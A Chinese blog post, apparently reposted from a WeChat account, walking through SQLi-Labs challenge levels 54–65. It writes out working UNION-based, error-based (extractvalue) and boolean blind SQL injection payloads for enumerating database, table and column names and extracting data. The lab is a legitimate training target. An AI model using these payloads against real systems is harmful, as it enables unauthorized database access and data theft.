什么是男子汉?困难打不倒的人才是真正的男子汉!
Less-54
如果没有点提交按钮将会进入下面的else语句,有过滤,显然突破口在上面。如果点了提交将会setcookie,然后看到有个GET提交的id参数,然后有个更新数据库操作,这里限制了10次请求次数,否则更新数据库。
?id=-1%27%20union%20select%201,2,database() --+ //查库
?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27--+ //查表
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='2P0C18GOWL' %23 //查列
?id=-1' union select 1,group_concat(tryy),3 from 2P0C18GOWL%23 //查数据
Less-55
这个题限制了请求14次,不过当测试出闭合情况之后后面就一切顺利了。 先尝试闭合
?id=1'%23 //错误 ?id=1')%23 //错误 ?id=1)%23 //正确
尝试之后发现是用)闭合
?id=-1) union select 1,database(),3%23
Less-56
这几关都差不多,首先也是尝试闭合
?id=1')%23 //成功闭合
?id=-1') union select 1,database(),3%23
Less-57
这关是双引号闭合的
?id=-1" union select 1,database(),3%23
Less-58
查询之后并没有返回查询数据库当中的数据,不能使用union联合注入,但是有报错回显,可以使用报错注入。
?id=0' and extractvalue(1, concat(0x5c, (select database())))%23
Less-59
SQL语句:
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
?id=1 and extractvalue(1, concat(0x5c, (select database())))%23
Less-60
?id=1") and extractvalue(1, concat(0x5c, (select database())))%23
Less-61
?id=1'))and extractvalue(1, concat(0x5c, (select database())))%23
Less-62
接下来几关要在130次内完成盲注。只不过有次数限制,很明显不能去爆破
?id=1') and (length(database())=10)%23
?id=1') and ((ascii(mid((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)))<65)-- #
Less-63
这关跟上一关一样,唯一的区别在于需要使用单引号闭合
?id=1' and (length(database())=10)%23
?id=1' and ((ascii(mid((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)))>65)-- #
不再赘述!
Less-64
这关跟上一关一样,唯一的区别在于需要使用括号闭合
?id=1)) and (length(database())=10)%23
?id=1)) and ((ascii(mid((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)))>65)-- #
不再赘述!
Less-65
?id=1") and (length(database())=10)%23
?id=1") and ((ascii(mid((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)))<65)-- #
这几关性质都一样,只不过闭合语句不同,不再赘述
SQL语句:
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
原文始发于微信公众号(儒道易行):【SQLi_Labs】Challenges
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论